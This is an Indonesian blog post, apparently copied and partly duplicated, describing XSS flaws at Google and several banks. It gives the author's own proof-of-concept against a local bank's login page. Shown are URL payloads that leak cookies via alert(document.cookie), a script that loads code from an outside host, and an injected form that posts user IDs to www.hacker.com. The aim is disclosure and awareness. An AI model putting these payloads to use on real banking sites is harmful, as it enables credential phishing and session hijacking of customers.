Jim Ley menemukan adanya permasalahan XSS pada situs Google dan ia memutuskan untuk melaporkannya kepada Google. Lebih dari dua tahun lamanya, ternyata laporan dari Jim Ley tidak digubris sama sekali sehingga akhirnya pada bulan oktober 2004 ia memutuskan untuk mempublikasikan kepada publik.
Kelemahan XSS yang terjadi pada situs Google ini memungkinkan dilakukannyaVirtual Defacement dimana halaman google akan diganti dengan halaman palsu yang dibuat oleh hacker.
Jim Ley membuat halaman input informasi kartu kredit yang seakan-akan dilakukan oleh google, padahal bukan. Pada URL google, Jim Ley menambahkan kode :
L:javascript:javascript:document.appendChild(document.createElement('script')).src='http://jibbering.com/test.js
Kode ini akan membuat script yang berada pada situs lain yaitu jibbering.com/test.js akan dijalankan seakan-akan berasal dari google (http://jibbering.com/2004/10/google.html)
Tidak Hanya Google
Google bukanlah satu-satunya korban dari serangan XSS.
SunTrust Bank, Mastercard, National Westminster dan Wordplay adalah 'klien besar' yang terkekna serangan XSS dan Greenhalgh mempublikasikan tehnik yang digunakan dalam menginjeksi javascript terhadap situs bank yang seharusnya nomor satu dalam hal pengamanan. Kasus-kasus XSS masih terus berlangsung bahkan sampai detik ini dan OWASP ( Open Web Application Security Project ), sebuah organisasi yang mengusulkan diri pada keamanan aplikasi, mengkategorikan XSS sebagai permasalahan utama aplikasi web saat ini.
Situs Bank Lokal Menjadi Korban
Kejadian yang hampir serupa dengan yang dialami oleh Greenhalgh juga saya rasakan. Ceritanya pada saya hendak menggunakan transaksi internet banking (ya, saya adalah pengguna setia layanan ini) dan salah memasukan password. Aplikasi Internet banking menampilkan sebuah pesan/warning tentang kesalahan yang saya lakukan " User ID harus Alpha Numerik/User ID must be Alpha Numeric ".
Yang menarik perhatian saya adalah pesan yang ditampilkan ini, ternyata juga muncul di bagian URL! " https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=User ID harus Alpha Numerik/User ID must be Alpha Numeric ".
Suatu teknik yang biasa digunakan oleh programmer untuk mengirimkan parameter kepada sebuah fungsi dan sebuah teknik yang biasanya bermasalah dalam hal kelemahan injeksi script atau kelemahan XSS!
Kejadian ini terjadi lebih dari 2 tahun yang lalu atau tepatnya pada bulan april 2007 dan telah saya laporkan kepada pihak bank melalui SMS ( 081811**** ) yang di jawab akan dilakukan investigasi.
Sampai tulisan ini saya buat kembali, ternyata permasalahan ini sama sekali tidak diperbaiki, mungkin karena dianggap bukan sebagai suatu kelemahan dan bukan sesuatu yang berbahaya.
Benarkah demikian? Saya akan memperlihatkan kepada Anda apa yang bisa saya lakukan akibat dari kesalahan semacam ini dan silahkan Anda nilai sendiri.
Teknik Mencari Kelemahan XSS
Untuk melihat kemungkinan serangan XSS, saya melihat source code yang dihasilkan pada saat warning aplikasi ini ditampilkan. Pada baris 230, terlihat kalimat yang ditampilkan berada didalam sebuah variable yaitu " err " dan variable ini berada didalam blok kode <script>.
Untuk membuktikan adanya kelemahan XSS, saya mencoba memasukkan java script standard yang akan menampilkan cookie dengan memodifikasi URL-nya menjadi :
https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=';alert(document.cookie);</script>
Dengan merubah URL ini, kini bila dilihat melalui source code halaman yang menampilkan pesan akan berubah menjadi :
<script>
var err='';allert(document.cookie);</script>
alert(err);
iBankForm.action='login.jsp';
iBankForm.submit();
</script>
Harapan saya sebenarnya aksi ini akan gagal karena mengharapkan adanya proteksi tambahan seperti pemblokiran terhadap karakter khusus atau penghapusan kata<script> yang umum dilakukan, ternyata dugaan saya keliru. Tidak ada proteksi sama sekali terhadap potensi XSS ini dan aksi ini berhasil dengan baik yang dibuktikan dengan menampilkan cookie yang berjalan dengan lancar.
Percobaan ini membuktikan bahwa pencurian cookie memungkinkan untuk terjadi sehingga memungkinkan adanya serangan session hijacking atau pengambil alihan suatu koneksi oleh hacker. Ada beberapa hal yang cukup menarik untuk diperhatikan dalam kasus ini.
Pertama, penggunaan https atau sebuah koneksi yang secure ternyata tidak berguna dalam kasus ini. Kedua, penggunaan sertifikat yang biasanya dikatakan sebagai jaminan keamanan ternyata juga tidak berguna bahkan bisa dikatakan menjebak. Saya akan menunjukan betapa tidak bergunanya sertifikat ini pada percobaan sederhana berikutnya.
Virtual Defacement
Selanjutnya, saya mencoba membuktikan serangan yang lebih serius yaitu dengan melakukan virtual defacement atau perubahan halaman secara virtual. Dikatakan sebagai virtual karena saya tidak benar-benar merubah tampilan halaman web bank tersebut namun hanya merubahnya secara virtual melalui injeksi perintah.
Kenapa berbahaya? Karena saya akan menambahkan sebuah input box baru yang seakan-akan disediakan oleh situs bank dan yang lebih berbahaya adalah ketika pengguna mengisi text box yang telah disediakan dan menekan tombol submit. Hasil inputan ini akan dikirimkan ke alamat hacker atau alamat yang telah saya tentukan, bukan ke alamat bank, padahal sertifikat situs tersebut masih asli lho !
Untuk menambahkan form text box dan tombol submit, saya tidak perlu menggunakan java script, cukup dengan tag HTML. URL yang telah dimodifikasi, akan terlihat sebagai berikut :
https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=';</script><form method="post" action="http//www.hacker.com/simpan.aspx"><p>User ID<input type="text" name"T1"><input type="Submit" value="Submit" name="B1></p></form><!--
Modifikasi URL akan membuat source code halaman login situs bank berubah menjadi :
<script> var err='';</script><form method="post" action="http//www.*******.com/a.aspx"><p>User ID<input type="text" name"T1"><input type="Submit" value="Submit" name="B1></p></form><!--' alert(err);iBankForm.action='login.jsp'; iBankForm.submit(); </script> </body> </html><script>
Setelah memasukkan URL yang telah dimodifikasi, terlihat sebuah text box berada di bawah halaman utama bank ! Apa artinya ini ? Virtual Defacement telah berhasil dilakukan! Teknik mendeface tanpa merusak dan merubah file yang ada didalam web server!
Kemungkinan Aksi Lanjutan
Saya sudah menunjukkan kepada Anda bagaimana mengambil cookie dengan java script dan bagaimana melakukan virtual defacement dengan menambahkan sebuah text box yang baru. Teknik Virtual Defacement ini cukup menarik karena bisa dilakukan walaupun situs menggunakan HTTPS dan ada yang lebih menarik lagi.
Biasanya, Anda selalu diwanti oleh pihak agar mengecek keabsahan sertifikat ( dalam contoh ini adalah cybertrust ) yang digunakan untuk memastikan keaslian situs yang digunakan. Pada kasus ini sertifikat yang Anda lihat adalah asli dan sah namun ketika Anda memasukkan data kedalam text box dan mengklik tombol submit, informasi Anda akan dikirimkan kepada hacker! Kaget ? Teknik ini bisa dikombinasikan dengan teknik penipuan/social engineering seperti dengan mengirimkan email kepada korban dan menginformasikan kepadanya tentang undian berhadiah atau memintanya mengganti password melalui form palsu yang telah disediakan oleh Hacker. Saya yakin, banyak sekali yang ahli dalam hal Social Engineering dan tidak perlu lagi saya berikan contoh-contoh lainnya. Kini, apakah menurut Anda serangan XSS berbahaya atau tidak? Siapa yang harus bertanggung jawab seandainya terjadi korban dalam kasus semacam ini?
Serangan XSS yang saya tunjukkan pada artikel ini, masih sangat sederhana dan tidak melakukan deface pada halaman secara total seperti yang pernah ditunjukkan olehJim Ley dan Greenhalgh namun bukan berarti tidak mungkin untuk dilakukan.
Dengan menginjeksi javascript, bahkan bisa dibuat fungsi keylogger, scanning network, pencurian password lokal dan lain sebagainya. Jadi, akibat dari permasalahan XSS ini jelas sangat serius bila di eksploitasi oleh orang yang tepat.
Sekedar info :
READ MORE →
Kelemahan XSS yang terjadi pada situs Google ini memungkinkan dilakukannyaVirtual Defacement dimana halaman google akan diganti dengan halaman palsu yang dibuat oleh hacker.
Jim Ley membuat halaman input informasi kartu kredit yang seakan-akan dilakukan oleh google, padahal bukan. Pada URL google, Jim Ley menambahkan kode :L:javascript:javascript:document.appendChild(document.createElement('script')).src='http://jibbering.com/test.js
Kode ini akan membuat script yang berada pada situs lain yaitu jibbering.com/test.js akan dijalankan seakan-akan berasal dari google (http://jibbering.com/2004/10/google.html)
Tidak Hanya Google
Google bukanlah satu-satunya korban dari serangan XSS.
SunTrust Bank, Mastercard, National Westminster dan Wordplay adalah 'klien besar' yang terkekna serangan XSS dan Greenhalgh mempublikasikan tehnik yang digunakan dalam menginjeksi javascript terhadap situs bank yang seharusnya nomor satu dalam hal pengamanan. Kasus-kasus XSS masih terus berlangsung bahkan sampai detik ini dan OWASP ( Open Web Application Security Project ), sebuah organisasi yang mengusulkan diri pada keamanan aplikasi, mengkategorikan XSS sebagai permasalahan utama aplikasi web saat ini.
Situs Bank Lokal Menjadi Korban
Kejadian yang hampir serupa dengan yang dialami oleh Greenhalgh juga saya rasakan. Ceritanya pada saya hendak menggunakan transaksi internet banking (ya, saya adalah pengguna setia layanan ini) dan salah memasukan password. Aplikasi Internet banking menampilkan sebuah pesan/warning tentang kesalahan yang saya lakukan " User ID harus Alpha Numerik/User ID must be Alpha Numeric ".
Yang menarik perhatian saya adalah pesan yang ditampilkan ini, ternyata juga muncul di bagian URL! " https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=User ID harus Alpha Numerik/User ID must be Alpha Numeric ".
Suatu teknik yang biasa digunakan oleh programmer untuk mengirimkan parameter kepada sebuah fungsi dan sebuah teknik yang biasanya bermasalah dalam hal kelemahan injeksi script atau kelemahan XSS!Kejadian ini terjadi lebih dari 2 tahun yang lalu atau tepatnya pada bulan april 2007 dan telah saya laporkan kepada pihak bank melalui SMS ( 081811**** ) yang di jawab akan dilakukan investigasi.
Sampai tulisan ini saya buat kembali, ternyata permasalahan ini sama sekali tidak diperbaiki, mungkin karena dianggap bukan sebagai suatu kelemahan dan bukan sesuatu yang berbahaya.
Benarkah demikian? Saya akan memperlihatkan kepada Anda apa yang bisa saya lakukan akibat dari kesalahan semacam ini dan silahkan Anda nilai sendiri.
Teknik Mencari Kelemahan XSS
Untuk melihat kemungkinan serangan XSS, saya melihat source code yang dihasilkan pada saat warning aplikasi ini ditampilkan. Pada baris 230, terlihat kalimat yang ditampilkan berada didalam sebuah variable yaitu " err " dan variable ini berada didalam blok kode <script>.
Untuk membuktikan adanya kelemahan XSS, saya mencoba memasukkan java script standard yang akan menampilkan cookie dengan memodifikasi URL-nya menjadi :https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=';alert(document.cookie);</script>
Dengan merubah URL ini, kini bila dilihat melalui source code halaman yang menampilkan pesan akan berubah menjadi :
<script>
var err='';allert(document.cookie);</script>
alert(err);
iBankForm.action='login.jsp';
iBankForm.submit();
</script>
Harapan saya sebenarnya aksi ini akan gagal karena mengharapkan adanya proteksi tambahan seperti pemblokiran terhadap karakter khusus atau penghapusan kata<script> yang umum dilakukan, ternyata dugaan saya keliru. Tidak ada proteksi sama sekali terhadap potensi XSS ini dan aksi ini berhasil dengan baik yang dibuktikan dengan menampilkan cookie yang berjalan dengan lancar.Percobaan ini membuktikan bahwa pencurian cookie memungkinkan untuk terjadi sehingga memungkinkan adanya serangan session hijacking atau pengambil alihan suatu koneksi oleh hacker. Ada beberapa hal yang cukup menarik untuk diperhatikan dalam kasus ini.
Pertama, penggunaan https atau sebuah koneksi yang secure ternyata tidak berguna dalam kasus ini. Kedua, penggunaan sertifikat yang biasanya dikatakan sebagai jaminan keamanan ternyata juga tidak berguna bahkan bisa dikatakan menjebak. Saya akan menunjukan betapa tidak bergunanya sertifikat ini pada percobaan sederhana berikutnya.
Virtual Defacement
Selanjutnya, saya mencoba membuktikan serangan yang lebih serius yaitu dengan melakukan virtual defacement atau perubahan halaman secara virtual. Dikatakan sebagai virtual karena saya tidak benar-benar merubah tampilan halaman web bank tersebut namun hanya merubahnya secara virtual melalui injeksi perintah.
Kenapa berbahaya? Karena saya akan menambahkan sebuah input box baru yang seakan-akan disediakan oleh situs bank dan yang lebih berbahaya adalah ketika pengguna mengisi text box yang telah disediakan dan menekan tombol submit. Hasil inputan ini akan dikirimkan ke alamat hacker atau alamat yang telah saya tentukan, bukan ke alamat bank, padahal sertifikat situs tersebut masih asli lho !
Untuk menambahkan form text box dan tombol submit, saya tidak perlu menggunakan java script, cukup dengan tag HTML. URL yang telah dimodifikasi, akan terlihat sebagai berikut :
https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=';</script><form method="post" action="http//www.hacker.com/simpan.aspx"><p>User ID<input type="text" name"T1"><input type="Submit" value="Submit" name="B1></p></form><!--
Modifikasi URL akan membuat source code halaman login situs bank berubah menjadi :
<script> var err='';</script><form method="post" action="http//www.*******.com/a.aspx"><p>User ID<input type="text" name"T1"><input type="Submit" value="Submit" name="B1></p></form><!--' alert(err);iBankForm.action='login.jsp'; iBankForm.submit(); </script> </body> </html><script>
Setelah memasukkan URL yang telah dimodifikasi, terlihat sebuah text box berada di bawah halaman utama bank ! Apa artinya ini ? Virtual Defacement telah berhasil dilakukan! Teknik mendeface tanpa merusak dan merubah file yang ada didalam web server!
Kemungkinan Aksi LanjutanSaya sudah menunjukkan kepada Anda bagaimana mengambil cookie dengan java script dan bagaimana melakukan virtual defacement dengan menambahkan sebuah text box yang baru. Teknik Virtual Defacement ini cukup menarik karena bisa dilakukan walaupun situs menggunakan HTTPS dan ada yang lebih menarik lagi.
Biasanya, Anda selalu diwanti oleh pihak agar mengecek keabsahan sertifikat ( dalam contoh ini adalah cybertrust ) yang digunakan untuk memastikan keaslian situs yang digunakan. Pada kasus ini sertifikat yang Anda lihat adalah asli dan sah namun ketika Anda memasukkan data kedalam text box dan mengklik tombol submit, informasi Anda akan dikirimkan kepada hacker! Kaget ? Teknik ini bisa dikombinasikan dengan teknik penipuan/social engineering seperti dengan mengirimkan email kepada korban dan menginformasikan kepadanya tentang undian berhadiah atau memintanya mengganti password melalui form palsu yang telah disediakan oleh Hacker. Saya yakin, banyak sekali yang ahli dalam hal Social Engineering dan tidak perlu lagi saya berikan contoh-contoh lainnya. Kini, apakah menurut Anda serangan XSS berbahaya atau tidak? Siapa yang harus bertanggung jawab seandainya terjadi korban dalam kasus semacam ini?
Serangan XSS yang saya tunjukkan pada artikel ini, masih sangat sederhana dan tidak melakukan deface pada halaman secara total seperti yang pernah ditunjukkan olehJim Ley dan Greenhalgh namun bukan berarti tidak mungkin untuk dilakukan.
Dengan menginjeksi javascript, bahkan bisa dibuat fungsi keylogger, scanning network, pencurian password lokal dan lain sebagainya. Jadi, akibat dari permasalahan XSS ini jelas sangat serius bila di eksploitasi oleh orang yang tepat.
Sekedar info :
" XSS merupakan singkatan dari Cross Site Scripting memang tampak sedikit aneh. Singkatan dari Cross Site Scripting seharusnya CSS namun singkatan ini ternyata memberikan masalah bagi pengguna CSS telah digunakan oleh Cascading Style Sheets, suatu bahasa yang digunakan untuk mengatur tampilan halaman suatu dokumen web. CSS sendiri sangat populer karena menawarkan fleksibilitas pengaturan tampilan dan akibatnya tentu saja, akan membingungkan pengguna apabila terdapat dua singkatan yang sama untuk menandakan dua hal yang berbeda sama sekali. Akhirnya, Cross Site Scripting harus mengalah dan menggunakan singkatan XSS "
sumber : disini
